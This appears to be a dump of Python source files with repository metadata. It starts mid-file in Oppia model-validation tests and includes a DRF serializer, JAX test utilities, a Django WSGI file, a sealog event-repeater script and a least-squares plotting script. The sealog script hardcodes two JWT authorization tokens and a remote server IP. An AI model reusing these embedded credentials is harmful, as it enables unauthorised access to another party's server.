topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StoryCommitLogEntryModel.get_by_id( 'story-0-1')) self.model_instance_1 = ( story_models.StoryCommitLogEntryModel.get_by_id( 'story-1-1')) self.model_instance_2 = ( story_models.StoryCommitLogEntryModel.get_by_id( 'story-2-1')) self.job_class = ( prod_validation_jobs_one_off .StoryCommitLogEntryModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StoryCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryCommitLogEntryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StoryCommitLogEntryModel\', ' '[u"Entity id story-0-1: based on field story_ids ' 'having value 0, expect model StoryModel with id 0 ' 'but it doesn\'t exist", u"Entity id story-0-2: based ' 'on field story_ids having value 0, expect model ' 'StoryModel with id 0 but it doesn\'t exist"]]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StoryCommitLogEntryModel.create( '0', 3, self.owner_id, self.OWNER_USERNAME, 'edit', 'msg', [{}], constants.ACTIVITY_STATUS_PUBLIC, False)) model_with_invalid_version_in_id.story_id = '0' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story model ' 'version check of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Story model corresponding ' 'to id 0 has a version 1 which is less than ' 'the version 3 in commit log entry model id\']]' ) % (model_with_invalid_version_in_id.id), u'[u\'fully-validated StoryCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_id(self): model_with_invalid_id = ( story_models.StoryCommitLogEntryModel( id='invalid-0-1', user_id=self.owner_id, username=self.OWNER_USERNAME, commit_type='edit', commit_message='msg', commit_cmds=[{}], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_is_private=False)) model_with_invalid_id.story_id = '0' model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % (model_with_invalid_id.id), ( u'[u\'failed validation check for commit cmd check of ' 'StoryCommitLogEntryModel\', [u\'Entity id invalid-0-1: ' 'No commit command domain object defined for entity with ' 'commands: [{}]\']]'), u'[u\'fully-validated StoryCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_type(self): self.model_instance_0.commit_type = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit type check of ' 'StoryCommitLogEntryModel\', ' '[u\'Entity id story-0-1: Commit type invalid is ' 'not allowed\']]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_post_commit_status(self): self.model_instance_0.post_commit_status = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit status check ' 'of StoryCommitLogEntryModel\', ' '[u\'Entity id story-0-1: Post commit status invalid ' 'is invalid\']]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_true_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'public' self.model_instance_0.post_commit_is_private = True self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'public but post_commit_is_private is True\']]' ) % self.model_instance_0.id, u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_false_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'private' self.model_instance_0.post_commit_is_private = False self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'private but post_commit_is_private is False\']]' ) % self.model_instance_0.id, u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_story_node' }, { 'cmd': 'delete_story_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_story_node check of ' 'StoryCommitLogEntryModel\', ' '[u"Entity id story-0-1: Commit command domain ' 'validation for command: {u\'cmd\': u\'delete_story_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: node_id, ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_story_node check of StoryCommitLogEntryModel\', ' '[u"Entity id story-0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_story_node\'} ' 'failed with error: The following required attributes ' 'are missing: node_id, title"]]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StorySummaryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StorySummaryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) language_codes = ['ar', 'en', 'en'] topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for index, story in enumerate(stories): story.description = 'story-test' story.language_code = language_codes[index] story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = story_models.StorySummaryModel.get_by_id('0') self.model_instance_1 = story_models.StorySummaryModel.get_by_id('1') self.model_instance_2 = story_models.StorySummaryModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.StorySummaryModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '1', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StorySummaryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StorySummaryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): story_services.delete_story(self.owner_id, '1') story_services.delete_story(self.owner_id, '2') expected_output = [( u'[u\'failed validation check for current time check of ' 'StorySummaryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_model = story_models.StoryModel.get_by_id('0') story_model.delete(feconf.SYSTEM_COMMITTER_ID, '', []) self.model_instance_0.story_model_last_updated = ( story_model.last_updated) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StorySummaryModel\', ' '[u"Entity id 0: based on field story_ids having ' 'value 0, expect model StoryModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_node_count(self): self.model_instance_0.node_count = 10 self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for node count check of ' 'StorySummaryModel\', [u\'Entity id 0: Node count: 10 does ' 'not match the number of nodes in story_contents dict: []\']]' ), u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_story_related_property(self): self.model_instance_0.title = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for title field check of ' 'StorySummaryModel\', ' '[u\'Entity id %s: title field in entity: invalid does not ' 'match corresponding story title field: title 0\']]' ) % self.model_instance_0.id, u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class UserSubscriptionsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(UserSubscriptionsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) rights_manager.publish_exploration(self.owner, exp.id) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i ) for i in xrange(3, 6)] for collection in collections: collection_services.save_new_collection(self.owner_id, collection) rights_manager.publish_collection(self.owner, collection.id) thread_id = feedback_services.create_thread( 'exploration', 'exp_id', None, 'a subject', 'some text') subscription_services.subscribe_to_thread( self.user_id, thread_id) subscription_services.subscribe_to_creator(self.user_id, self.owner_id) for exp in explorations: subscription_services.subscribe_to_exploration( self.user_id, exp.id) for collection in collections: subscription_services.subscribe_to_collection( self.user_id, collection.id) self.process_and_flush_pending_tasks() self.job_class = ( prod_validation_jobs_one_off.UserSubscriptionsModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated UserSubscriptionsModel\', 2]'] run_job_and_check_output(self, expected_output) def test_get_external_id_relationship_failure(self): nonexist_thread_id = 'nonexist_thread_id' subscription_services.subscribe_to_thread( self.user_id, nonexist_thread_id) expected_output = [ ( u'[u\'failed validation check for general_feedback_thread_ids ' 'field check of UserSubscriptionsModel\', ' '[u"Entity id 110211048197157141232: based on ' 'field general_feedback_thread_ids having value ' 'nonexist_thread_id, expect model GeneralFeedbackThreadModel ' 'with id nonexist_thread_id but it doesn\'t exist"]]'), u'[u\'fully-validated UserSubscriptionsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True)

true

790c61e7caf3c5a4f8d9695f7cbfc3e62c4f4f4b

3,191

py

Python

catalog/packages/serializers/vnf_pkg_software_image_info.py

onap/archive-vfc-nfvo-catalog

24b92a2210c2063935d313f08e1da1e9cee45f3f

[ "Apache-2.0" ]

1

2019-09-25T05:38:42.000Z

catalog/packages/serializers/vnf_pkg_software_image_info.py

onap/archive-vfc-nfvo-catalog

24b92a2210c2063935d313f08e1da1e9cee45f3f

[ "Apache-2.0" ]

3

2021-02-03T08:59:39.000Z

2022-03-18T02:18:12.000Z

catalog/packages/serializers/vnf_pkg_software_image_info.py

onap/modeling-etsicatalog

b16b4579ea80bf82fa497e4934b2bb8728845b58

[ "Apache-2.0" ]

null

# Copyright 2018 ZTE Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from rest_framework import serializers from .checksum import ChecksumSerializer class VnfPackageSoftwareImageInfoSerializer(serializers.Serializer): id = serializers.CharField( help_text="Identifier of the software image.", required=True, allow_null=False, allow_blank=False ) name = serializers.CharField( help_text="Name of the software image.", required=True, allow_null=True, allow_blank=False ) provider = serializers.CharField( help_text="Provider of the software image.", required=True, allow_null=True, allow_blank=False ) version = serializers.CharField( help_text="Version of the software image.", required=True, allow_null=True, allow_blank=False ) checksum = ChecksumSerializer( help_text="Checksum of the software image file.", required=True, allow_null=False ) containerFormat = serializers.ChoiceField( help_text="terminationType: Indicates whether forceful or graceful termination is requested.", choices=["AKI", "AMI", "ARI", "BARE", "DOCKER", "OVA", "OVF"], required=True, allow_null=True ) diskFormat = serializers.ChoiceField( help_text="Disk format of a software image is the format of the underlying disk image.", choices=["AKI", "AMI", "ARI", "ISO", "QCOW2", "RAW", "VDI", "VHD", "VHDX", "VMDK"], required=True, allow_null=True ) createdAt = serializers.DateTimeField( help_text="Time when this software image was created.", required=True, format=None, input_formats=None ) minDisk = serializers.IntegerField( help_text="The minimal disk for this software image in bytes.", required=True, allow_null=True ) minRam = serializers.IntegerField( help_text="The minimal RAM for this software image in bytes.", required=True, allow_null=True ) size = serializers.IntegerField( help_text="Size of this software image in bytes.", required=True, allow_null=True ) userMetadata = serializers.DictField( help_text="User-defined data.", child=serializers.CharField( help_text="KeyValue Pairs", allow_blank=True ), required=False, allow_null=True ) imagePath = serializers.CharField( help_text="Path in the VNF package.", required=True, allow_null=True, allow_blank=False )

32.896907

102

0.65246

from rest_framework import serializers from .checksum import ChecksumSerializer class VnfPackageSoftwareImageInfoSerializer(serializers.Serializer): id = serializers.CharField( help_text="Identifier of the software image.", required=True, allow_null=False, allow_blank=False ) name = serializers.CharField( help_text="Name of the software image.", required=True, allow_null=True, allow_blank=False ) provider = serializers.CharField( help_text="Provider of the software image.", required=True, allow_null=True, allow_blank=False ) version = serializers.CharField( help_text="Version of the software image.", required=True, allow_null=True, allow_blank=False ) checksum = ChecksumSerializer( help_text="Checksum of the software image file.", required=True, allow_null=False ) containerFormat = serializers.ChoiceField( help_text="terminationType: Indicates whether forceful or graceful termination is requested.", choices=["AKI", "AMI", "ARI", "BARE", "DOCKER", "OVA", "OVF"], required=True, allow_null=True ) diskFormat = serializers.ChoiceField( help_text="Disk format of a software image is the format of the underlying disk image.", choices=["AKI", "AMI", "ARI", "ISO", "QCOW2", "RAW", "VDI", "VHD", "VHDX", "VMDK"], required=True, allow_null=True ) createdAt = serializers.DateTimeField( help_text="Time when this software image was created.", required=True, format=None, input_formats=None ) minDisk = serializers.IntegerField( help_text="The minimal disk for this software image in bytes.", required=True, allow_null=True ) minRam = serializers.IntegerField( help_text="The minimal RAM for this software image in bytes.", required=True, allow_null=True ) size = serializers.IntegerField( help_text="Size of this software image in bytes.", required=True, allow_null=True ) userMetadata = serializers.DictField( help_text="User-defined data.", child=serializers.CharField( help_text="KeyValue Pairs", allow_blank=True ), required=False, allow_null=True ) imagePath = serializers.CharField( help_text="Path in the VNF package.", required=True, allow_null=True, allow_blank=False )

true

790c63efac271f58e148285b1f49e65a7b5b0f1f

1,945

py

Python

jax/experimental/jax2tf/tests/tf_test_util.py

BuddenD/jax

269da0ae584cfe840f34e9f871f13c28e2772de5

[ "ECL-2.0", "Apache-2.0" ]

1

2021-07-10T03:59:22.000Z

jax/experimental/jax2tf/tests/tf_test_util.py

BuddenD/jax

269da0ae584cfe840f34e9f871f13c28e2772de5

[ "ECL-2.0", "Apache-2.0" ]

null

jax/experimental/jax2tf/tests/tf_test_util.py

BuddenD/jax

269da0ae584cfe840f34e9f871f13c28e2772de5

[ "ECL-2.0", "Apache-2.0" ]

null

# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import numpy as np from typing import Any, Callable, Tuple import tensorflow as tf # type: ignore[import] from jax.config import config from jax import dtypes from jax.experimental import jax2tf from jax import test_util as jtu class JaxToTfTestCase(jtu.JaxTestCase): def assertDtypesMatch(self, x, y, *, canonicalize_dtypes=True): """Compares dtypes across JAX and TF dtypes. Overrides super method.""" def to_numpy_dtype(dt): return dt if isinstance(dt, np.dtype) else dt.as_numpy_dtype if not config.FLAGS.jax_enable_x64 and canonicalize_dtypes: self.assertEqual(dtypes.canonicalize_dtype(to_numpy_dtype(jtu._dtype(x))), dtypes.canonicalize_dtype(to_numpy_dtype(jtu._dtype(y)))) else: self.assertEqual(to_numpy_dtype(jtu._dtype(x)), to_numpy_dtype(jtu._dtype(y))) def ConvertAndCompare(self, func_jax: Callable, *args, with_function: bool = False, atol=None, rtol=None) -> Tuple[Any, Any]: """Compares jax_func(*args) with convert(jax_func)(*args).""" func_tf = jax2tf.convert(func_jax) if with_function: func_tf = tf.function(func_tf) res_jax = func_jax(*args) res_tf = func_tf(*args) self.assertAllClose(res_jax, res_tf, atol=atol, rtol=rtol) return (res_jax, res_tf)

38.9

80

0.701285

import numpy as np from typing import Any, Callable, Tuple import tensorflow as tf from jax.config import config from jax import dtypes from jax.experimental import jax2tf from jax import test_util as jtu class JaxToTfTestCase(jtu.JaxTestCase): def assertDtypesMatch(self, x, y, *, canonicalize_dtypes=True): def to_numpy_dtype(dt): return dt if isinstance(dt, np.dtype) else dt.as_numpy_dtype if not config.FLAGS.jax_enable_x64 and canonicalize_dtypes: self.assertEqual(dtypes.canonicalize_dtype(to_numpy_dtype(jtu._dtype(x))), dtypes.canonicalize_dtype(to_numpy_dtype(jtu._dtype(y)))) else: self.assertEqual(to_numpy_dtype(jtu._dtype(x)), to_numpy_dtype(jtu._dtype(y))) def ConvertAndCompare(self, func_jax: Callable, *args, with_function: bool = False, atol=None, rtol=None) -> Tuple[Any, Any]: func_tf = jax2tf.convert(func_jax) if with_function: func_tf = tf.function(func_tf) res_jax = func_jax(*args) res_tf = func_tf(*args) self.assertAllClose(res_jax, res_tf, atol=atol, rtol=rtol) return (res_jax, res_tf)

true

790c641b1df01558b4d6684daf150ecb67a02a07

387

py

Python

porta/wsgi.py

Asisrael/examen

8b3c2a8c9578c5ba1d0135822df696804401f2ab

[ "bzip2-1.0.6" ]

null

porta/wsgi.py

Asisrael/examen

8b3c2a8c9578c5ba1d0135822df696804401f2ab

[ "bzip2-1.0.6" ]

null

porta/wsgi.py

Asisrael/examen

8b3c2a8c9578c5ba1d0135822df696804401f2ab

[ "bzip2-1.0.6" ]

null

""" WSGI config for porta project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'porta.settings') application = get_wsgi_application()

22.764706

78

0.782946

import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'porta.settings') application = get_wsgi_application()

true

790c64262f02cb1d9cb0e7ff120b22923f664d0b

2,257

py

Python

misc/sealog_repeater_receive.py

WHOIGit/ndsf-sealog-server

e57843e3e23a924ccf6fc1ef1e40d92f36a3b612

[ "MIT" ]

4

2019-10-29T21:53:13.000Z

2021-12-02T00:38:42.000Z

misc/sealog_repeater_receive.py

WHOIGit/ndsf-sealog-server

e57843e3e23a924ccf6fc1ef1e40d92f36a3b612

[ "MIT" ]

14

2020-05-28T16:39:30.000Z

2021-05-22T06:01:40.000Z

misc/sealog_repeater_receive.py

WHOIGit/ndsf-sealog-server

e57843e3e23a924ccf6fc1ef1e40d92f36a3b612

[ "MIT" ]

1

2020-01-31T00:00:42.000Z

#!/usr/bin/env python3 # still in development # import asyncio import websockets import json import requests eventsAPIPath = '/api/v1/events' localServerIP = '0.0.0.0' localServerAPIPort = '8000' localServerWSPort = '8000' localServerPath = '/sealog-server' localToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjU5ODFmMTY3MjEyYjM0OGFlZDdmYTlmNSIsInNjb3BlIjpbImFkbWluIiwiZXZlbnRfbWFuYWdlciIsImV2ZW50X2xvZ2dlciIsImV2ZW50X3dhdGNoZXIiXSwiaWF0IjoxNTI1MDE0NDE3fQ.D8ja66bnLxJ3bsJlaKRtOquu8XbibjNCyFxJpI7vafc' localClientWSID = 'localSealogReceive' remoteServerIP = '162.243.201.175' remoteServerAPIPort = '80' remoteServerWSPort = '8000' remoteServerPath = '/sealog-server' remoteToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjU5ODFmMTY3MjEyYjM0OGFlZDdmYTlmNSIsInNjb3BlIjpbImFkbWluIiwiZXZlbnRfbWFuYWdlciIsImV2ZW50X2xvZ2dlciIsImV2ZW50X3dhdGNoZXIiXSwiaWF0IjoxNTI1MDEzNTUxfQ.8X-fBRUHdrwtkTLcOFAsW-vvvqCzmkZKM2gQgHNkBKk" remoteClientWSID = 'remoteSealogReceive' hello = { 'type': 'hello', 'id': remoteClientWSID, 'auth': { 'headers': { 'authorization': remoteToken } }, 'version': '2', 'subs': ['/ws/status/newEvents'] } ping = { 'type':'ping', 'id':remoteClientWSID } localHeaders = {'authorization': localToken} remoteHeaders = {'authorization': remoteToken} async def eventlog(): try: async with websockets.connect('ws://' + remoteServerIP + ':' + remoteServerWSPort) as websocket: await websocket.send(json.dumps(hello)) while(True): event = await websocket.recv() eventObj = json.loads(event) print("eventObj:", eventObj) if eventObj['type'] and eventObj['type'] == 'ping': await websocket.send(json.dumps(ping)) elif eventObj['type'] and eventObj['type'] == 'pub': r = requests.post('http://' + localServerIP + ':' + localServerAPIPort + localServerPath + eventsAPIPath, headers=localHeaders, data = json.dumps(eventObj['message'])) print(r.text) ### end of repeat except Exception as error: print(error) asyncio.get_event_loop().run_until_complete(eventlog())

31.347222

251

0.692955

import asyncio import websockets import json import requests eventsAPIPath = '/api/v1/events' localServerIP = '0.0.0.0' localServerAPIPort = '8000' localServerWSPort = '8000' localServerPath = '/sealog-server' localToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjU5ODFmMTY3MjEyYjM0OGFlZDdmYTlmNSIsInNjb3BlIjpbImFkbWluIiwiZXZlbnRfbWFuYWdlciIsImV2ZW50X2xvZ2dlciIsImV2ZW50X3dhdGNoZXIiXSwiaWF0IjoxNTI1MDE0NDE3fQ.D8ja66bnLxJ3bsJlaKRtOquu8XbibjNCyFxJpI7vafc' localClientWSID = 'localSealogReceive' remoteServerIP = '162.243.201.175' remoteServerAPIPort = '80' remoteServerWSPort = '8000' remoteServerPath = '/sealog-server' remoteToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjU5ODFmMTY3MjEyYjM0OGFlZDdmYTlmNSIsInNjb3BlIjpbImFkbWluIiwiZXZlbnRfbWFuYWdlciIsImV2ZW50X2xvZ2dlciIsImV2ZW50X3dhdGNoZXIiXSwiaWF0IjoxNTI1MDEzNTUxfQ.8X-fBRUHdrwtkTLcOFAsW-vvvqCzmkZKM2gQgHNkBKk" remoteClientWSID = 'remoteSealogReceive' hello = { 'type': 'hello', 'id': remoteClientWSID, 'auth': { 'headers': { 'authorization': remoteToken } }, 'version': '2', 'subs': ['/ws/status/newEvents'] } ping = { 'type':'ping', 'id':remoteClientWSID } localHeaders = {'authorization': localToken} remoteHeaders = {'authorization': remoteToken} async def eventlog(): try: async with websockets.connect('ws://' + remoteServerIP + ':' + remoteServerWSPort) as websocket: await websocket.send(json.dumps(hello)) while(True): event = await websocket.recv() eventObj = json.loads(event) print("eventObj:", eventObj) if eventObj['type'] and eventObj['type'] == 'ping': await websocket.send(json.dumps(ping)) elif eventObj['type'] and eventObj['type'] == 'pub': r = requests.post('http://' + localServerIP + ':' + localServerAPIPort + localServerPath + eventsAPIPath, headers=localHeaders, data = json.dumps(eventObj['message'])) print(r.text) : print(error) asyncio.get_event_loop().run_until_complete(eventlog())

true

790c659a50c3d3b7ede5f45a212e71ef09b14018

1,442

py

Python

Data Fusion Test/Minimos Quadrados Puro.py

Raphael-C-Almeida/Wireless-Sensor-Network

8d12b06ddec1b5f3da28fd9b94b43bc4ac4518cf

[ "MIT" ]

1

2018-11-25T20:08:48.000Z

Data Fusion Test/Minimos Quadrados Puro.py

Raphael-C-Almeida/Wireless-Sensor-Network

8d12b06ddec1b5f3da28fd9b94b43bc4ac4518cf

[ "MIT" ]

null

Data Fusion Test/Minimos Quadrados Puro.py

Raphael-C-Almeida/Wireless-Sensor-Network

8d12b06ddec1b5f3da28fd9b94b43bc4ac4518cf

[ "MIT" ]

null

import matplotlib.pyplot as plt import numpy as np def gen_data(n, start=0, end=10): x = np.linspace(start, end, n) y = np.sin(10*x) - x*x return y def gen_data_osc(n): return np.array([1024 + (-2)**(-i/100) for i in range(n)]) def gen_data_rand(n): return np.random.randn(n) + 0.3*np.linspace(0, 10, n) def calc_cov(X, Y): return np.sum((X - np.average(X))*(Y - np.average(Y))) / (X.shape[0] - 1) def angular_coef(X,Y): return calc_cov(X,Y)/calc_cov(X,X) def linear_coef(a, X, Y): return np.average(Y) - a*np.average(X) count = 100 end = 100 time = np.linspace(0, end, count) data = gen_data(count) delta = end / count preds = [] kg_preds = [] kg_prediction = 0 for i in range(1, count): a = angular_coef(time[:i], data[:i]) b = linear_coef(a, time[:i], data[:i]) prediction = (time[i]+delta)*a + b preds.append(prediction) avg_X = np.average(time[:i]) avg_Y = np.average(data[:i]) cov = calc_cov(time[:i], data[:i]) estimate = time*a + b plt.scatter(time, data, label="Medições", color="#FF5850") plt.scatter(time[1:], preds, label="Est. Min. Quad.", color="#62B21C") plt.plot(time, estimate, label="Min. Quad. Final", color="#36A1FF") plt.xlabel("Tempo") plt.ylabel("Temperatura") plt.title("Aproximação Por Minimos Quadrados") # Place a legend to the right of this smaller subplot. plt.legend() plt.show()

24.862069

78

0.613731

import matplotlib.pyplot as plt import numpy as np def gen_data(n, start=0, end=10): x = np.linspace(start, end, n) y = np.sin(10*x) - x*x return y def gen_data_osc(n): return np.array([1024 + (-2)**(-i/100) for i in range(n)]) def gen_data_rand(n): return np.random.randn(n) + 0.3*np.linspace(0, 10, n) def calc_cov(X, Y): return np.sum((X - np.average(X))*(Y - np.average(Y))) / (X.shape[0] - 1) def angular_coef(X,Y): return calc_cov(X,Y)/calc_cov(X,X) def linear_coef(a, X, Y): return np.average(Y) - a*np.average(X) count = 100 end = 100 time = np.linspace(0, end, count) data = gen_data(count) delta = end / count preds = [] kg_preds = [] kg_prediction = 0 for i in range(1, count): a = angular_coef(time[:i], data[:i]) b = linear_coef(a, time[:i], data[:i]) prediction = (time[i]+delta)*a + b preds.append(prediction) avg_X = np.average(time[:i]) avg_Y = np.average(data[:i]) cov = calc_cov(time[:i], data[:i]) estimate = time*a + b plt.scatter(time, data, label="Medições", color="#FF5850") plt.scatter(time[1:], preds, label="Est. Min. Quad.", color="#62B21C") plt.plot(time, estimate, label="Min. Quad. Final", color="#36A1FF") plt.xlabel("Tempo") plt.ylabel("Temperatura") plt.title("Aproximação Por Minimos Quadrados") plt.legend() plt.show()

true

790c65c42dd20d86f9f0074087714fdd05634d1a

2,722

py

Python

env/Lib/site-packages/tests/test_PR.py

L0dz/auto-post

91563235a74336e4326a13b142c05c6755e0cf47

[ "Apache-2.0" ]

null

env/Lib/site-packages/tests/test_PR.py

L0dz/auto-post

91563235a74336e4326a13b142c05c6755e0cf47

[ "Apache-2.0" ]

6

2019-12-17T13:32:08.000Z

2021-06-02T00:49:29.000Z

cineBot/lib/python3.6/site-packages/tests/test_PR.py

furkanalpereny/cineBot

cb93b6fc6ab25ba0601067f54b6824a8462f470d

[ "MIT" ]

null

